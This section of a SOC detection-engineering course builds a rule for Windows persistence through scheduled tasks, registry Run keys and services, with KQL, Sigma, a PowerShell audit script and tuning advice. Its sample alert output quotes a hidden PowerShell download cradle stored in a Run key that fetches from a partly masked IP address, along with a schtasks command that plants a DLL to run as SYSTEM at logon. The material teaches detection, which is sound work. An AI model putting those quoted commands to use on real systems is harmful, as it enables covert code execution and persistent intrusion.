In this section
5.5 Detection: Persistence via Scheduled Tasks, Services, and Registry
Section 5.4 built DET-SOC-017 for lateral movement. This section builds DET-SOC-018: a detection for persistence mechanisms that survive system reboots. After moving laterally, attackers install persistence to maintain access: scheduled tasks that re-execute payloads on a timer, services that start at boot, and registry Run keys that launch programs at user logon. Without persistence detection, a reboot clears the attacker's session, but the persistence mechanism brings them right back.
The reboot that didn't stop the attack
Scenario
NE's IT team rebooted the compromised workstation NE-WS-0412 overnight, believing the reboot would clear the attacker's session. At 06:14 the next morning, when the first user logged on, three persistence mechanisms fired simultaneously: a scheduled task named "WindowsUpdateCheck" executed the Cobalt Strike beacon, a registry Run key loaded a PowerShell download cradle, and a new service "WinDefenderHelper" started the beacon from a different path. The attacker had installed three independent persistence mechanisms, eliminating one still left two operational.
Three persistence mechanisms dominate endpoint attacks: scheduled tasks (schtasks.exe /create, runs commands on a timer or at logon/boot), registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run, executes at user logon), and Windows services (sc.exe create, runs at system boot before user logon). A fourth mechanism. WMI event subscriptions, is less common but increasingly used by advanced threat actors because WMI persistence doesn't create files on disk and is harder to discover through standard forensic tools. Attackers install multiple mechanisms for redundancy, if the SOC removes one, the others re-establish access. Red Canary's 2025 Threat Detection Report identified scheduled tasks as the most prevalent persistence technique across all incidents.
Persistence is what separates a compromised session from a compromised environment. Without persistence, the attacker loses access when the user logs off or the endpoint reboots. With persistence, they survive reboots, password changes, and even partial remediation: the persistence mechanism re-establishes the foothold automatically. This is why IR playbooks emphasize identifying and removing all persistence before restoring an endpoint to production. Cleaning the active malware but missing a scheduled task means the attacker is back within minutes of the next reboot.
The path of the payload is the primary detection signal. Legitimate scheduled tasks reference executables in C:\Windows\System32, C:\Program Files, or application-specific directories. Malicious scheduled tasks reference executables in C:\Users\*\AppData, C:\ProgramData, C:\Windows\Temp, or C:\Users\Public, writable directories where the attacker can drop payloads without elevated privileges. The same logic applies to services and Run keys: a service binary path pointing to a user's Temp folder is not legitimate software installation.
The three persistence mechanisms create different telemetry signatures. Scheduled task creation appears in DeviceProcessEvents (the schtasks.exe command) and DeviceEvents (ActionType ScheduledTaskCreated). Service installation appears in DeviceRegistryEvents (the service configuration key) and DeviceProcessEvents (the sc.exe command). Run key modification appears in DeviceRegistryEvents (the Run key value change). Each creates different detection opportunities, and the query below covers all three in a single detection rule.
Estimated time: 50 minutes.
Rule specification
Hypothesis: Post-exploitation persistence via scheduled task creation, registry Run key modification, or new service installation. The persistence mechanism executes a payload from a suspicious location (Temp, AppData, ProgramData) or uses LOLBin chaining (PowerShell, rundll32, mshta) in the command.
Data source: DeviceProcessEvents (schtasks.exe /create, sc.exe create) + DeviceRegistryEvents (Run key modifications) + DeviceEvents (ScheduledTaskCreated ActionType).
MITRE ATT&CK: Persistence → T1053.005 (Scheduled Task), T1547.001 (Registry Run Keys), T1543.003 (Windows Service).
Severity: High (persistence with payload from Temp/AppData or LOLBin in command). Medium (scheduled task or service from legitimate software paths).
The KQL detection query: three persistence vectors
// Hypothesis: Attacker scheduled task for persistence
// ATT&CK: T1053.005 (Scheduled Task)
let suspicious_paths = dynamic([
"\\Temp\\", "\\AppData\\",
"\\ProgramData\\", "\\Downloads\\",
"\\Public\\"
]);
let suspicious_cmds = dynamic([
"powershell", "cmd /c", "rundll32",
"mshta", "wscript", "cscript",
"bitsadmin", "certutil"
]);
DeviceProcessEvents
| where Timestamp > ago(1h)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any (suspicious_paths)
or ProcessCommandLine has_any (suspicious_cmds)
| project
Timestamp, DeviceName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
// ATT&CK: T1547.001 (Registry Run Keys)
DeviceRegistryEvents
| where Timestamp > ago(1h)
| where ActionType == "RegistryValueSet"
| where RegistryKey has_any (
"\\CurrentVersion\\Run",
"\\CurrentVersion\\RunOnce",
"\\Winlogon",
"\\Image File Execution Options")
// Suspicious: LOLBin in the value or path from Temp
| where RegistryValueData has_any (
"powershell", "wscript", "cscript",
"rundll32", "mshta", "\\Temp\\",
"\\AppData\\", "\\ProgramData\\")
| project
Timestamp, DeviceName,
RegistryKey, RegistryValueName,
RegistryValueData,
InitiatingProcessFileName
-- Scheduled Task --
Timestamp DeviceName ProcessCommandLine ParentProcess
2026-05-17T02:18:22Z NE-WS-0412 schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Users\jharrison\AppData\Local\Temp\update.dll" /sc onlogon /ru SYSTEM cmd.exe
-- Registry Run Key --
Timestamp DeviceName RegistryKey RegistryValueData InitiatingProcess
2026-05-17T02:18:44Z NE-WS-0412 HKCU\Software\Microsoft\Windows\CurrentVersion\Run powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://45.xx.xx.xx/s') rundll32.exe
Two persistence mechanisms installed 22 seconds apart. Walk through each row.
The scheduled task uses the name "WindowsUpdateCheck", mimicking a legitimate Windows Update process name. The task is configured to run at logon (/sc onlogon) under the SYSTEM account (/ru SYSTEM), which means it executes with the highest privilege level before any user-mode security controls initialize. The task runs the Cobalt Strike DLL from Temp: a path that no legitimate Windows Update task would reference. The parent process is cmd.exe, spawned by the Cobalt Strike beacon through the LOLBin chain established in Section 5.2.
The registry Run key is more aggressive: it stores a complete PowerShell download cradle directly in the registry value data. At every user logon, Windows executes the command stored in the Run key: the -nop -w hidden flags ensure the PowerShell window is invisible to the user. Even if the DLL in Temp is deleted, this Run key re-downloads the beacon from the attacker's server on the next logon. The InitiatingProcess of rundll32.exe confirms the Run key was written by the beacon, not by a software installer. Legitimate software writes Run keys during installation through their own installer binary (setup.exe, msiexec.exe), not through rundll32.
The Sigma equivalent
title: Persistence via Scheduled Task, Run Key, or Service
id: det-soc-018
status: production
description: |
Detects scheduled task creation, registry Run key modification,
or service creation with suspicious command/path indicators.
Red Canary 2025: scheduled tasks are the most prevalent
persistence technique.
author: Ridgeline Cyber Detection Engineering
date: 2026/05/17
tags:
- attack.persistence
- attack.t1053.005
- attack.t1547.001
- attack.t1543.003
logsource:
category: process_creation
product: windows
detection:
schtasks:
Image|endswith: '\schtasks.exe'
CommandLine|contains: '/create'
CommandLine|contains:
- '\Temp\'
- '\AppData\'
- 'powershell'
- 'rundll32'
condition: schtasks
falsepositives:
- Software deployment tools creating scheduled tasks
- Group Policy applying scheduled tasks at scale
- Legitimate installer creating Run key entries
level: high
PowerShell: enumerate all persistence on a compromised device
# 1. Scheduled tasks with suspicious actions
Get-ScheduledTask | Where-Object {
$_.State -ne 'Disabled'
} | ForEach-Object {
$actions = $_.Actions
[PSCustomObject]@{
TaskName = $_.TaskName
Path = $_.TaskPath
Execute = $actions.Execute
Args = $actions.Arguments
RunAs = $_.Principal.UserId
}
} | Where-Object {
$_.Execute -match 'powershell|cmd|rundll32|mshta|Temp|AppData'
} | Format-Table -AutoSize
# 2. Registry Run keys
$runPaths = @(
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
)
foreach ($path in $runPaths) {
Get-ItemProperty -Path $path -ErrorAction SilentlyContinue |
Select-Object PSPath, * -ExcludeProperty PS* |
Format-List
}
# 3. Recently created services (last 7 days)
Get-WinEvent -FilterHashtable @{
LogName='System'; Id=7045;
StartTime=(Get-Date).AddDays(-7)
} | ForEach-Object {
[PSCustomObject]@{
Time = $_.TimeCreated
Service = $_.Properties[0].Value
Path = $_.Properties[1].Value
Type = $_.Properties[2].Value
}
} | Format-Table -AutoSize
Run this audit script on every endpoint where persistence is detected, not just the one that triggered the alert. If the attacker installed persistence on one device, they likely installed it on every device they compromised. The script checks all three persistence types: scheduled tasks with suspicious executables (PowerShell, cmd, rundll32, or paths containing Temp/AppData), all four registry Run key locations (HKCU and HKLM, Run and RunOnce), and recently created Windows services (Event ID 7045 in the System log). The output gives the IR team a complete persistence inventory to remove during containment.
The remediation sequence matters. Remove all persistence mechanisms first, then isolate the device, then reset credentials. If you isolate first and the device reconnects before persistence is removed (a common mistake when isolation is lifted prematurely for investigation access), the persistence mechanism re-establishes the C2 channel immediately upon network reconnection. If you reset credentials before removing persistence, the persistence mechanism executes on next logon and the attacker captures the new credentials through the beacon's keylogging capability. The correct sequence is: enumerate → remove all persistence → verify removal → isolate → reset credentials → validate clean state before returning the device to production. Document every persistence artifact removed as incident evidence.
Entity mapping
The entity mapping connects the Host (where persistence was installed), the Account (who created the task/service/key), and the File (the executable the persistence mechanism points to). The File entity is the most actionable: the analyst checks whether the executable is signed, known, and in a standard path. An unsigned executable in %TEMP% pointed to by a scheduled task is high confidence. A signed Microsoft binary in System32 pointed to by a service is normal.
[
{
"entityType": "Host",
"fieldMappings": [{ "identifier": "HostName", "columnName": "DeviceName" }]
},
{
"entityType": "Account",
"fieldMappings": [{ "identifier": "Name", "columnName": "AccountName" }]
}
]
False positive profile and tuning
Software installation and updates create scheduled tasks and services as part of normal operation. Windows Update, Microsoft Office, Chrome, Adobe, and endpoint security tools all register scheduled tasks for update checks and telemetry collection. These use predictable names (e.g., "GoogleUpdateTaskMachineCore," "MicrosoftEdgeUpdateTaskMachineCore"), executables in standard paths (Program Files, Windows\System32), and Microsoft-signed or vendor-signed binaries. Filter by path: executables in %TEMP%, %APPDATA%, or %PROGRAMDATA% are suspicious. Executables in %PROGRAMFILES% with valid digital signatures are likely legitimate.
SCCM and Intune deployments create scheduled tasks when deploying software packages or running compliance scripts. The parent process is CcmExec.exe (SCCM) or IntuneManagementExtension.exe (Intune), and the scheduled task names follow the management platform's naming convention. However, attackers who understand these platforms may name their tasks to mimic SCCM naming patterns, always verify the parent process chain, not just the task name.
Group Policy creates scheduled tasks and services during policy application. GPO-pushed tasks have specific naming conventions and originate from the domain controller. Exclude tasks with GroupPolicy in the parent process path.
// Filter persistence to suspicious executable locations
| where ExecutablePath has_any (
"\Temp\", "\AppData\",
"\ProgramData\", "\Public\",
"\Downloads\")
// Exclude signed binaries in standard paths
| where not(ExecutablePath has_any (
"\Program Files\",
"\Program Files (x86)\",
"\Windows\System32\"))
The path-based filter is the most effective tuning for persistence detections. Legitimate software installs to Program Files and System32. Attacker persistence mechanisms point to Temp, AppData, ProgramData, and user profile directories. This single filter eliminates the majority of false positives from software installation and Windows updates while preserving detection of attacker-planted executables.
Endpoint management tools (SCCM, Intune, BigFix) create scheduled tasks and services for compliance checks, software deployment, and inventory collection. Maintain an exclusion list of known management tool service names and executable paths.
Anti-Pattern
The SOC monitors scheduled task creation but not registry Run keys or services. Attackers install multiple persistence mechanisms for redundancy, removing the scheduled task still leaves the Run key and service operational. The detection above covers all three vectors. The PowerShell audit script should be a standard step in every IR containment checklist: enumerate all persistence on the compromised device, not just the one the alert identified.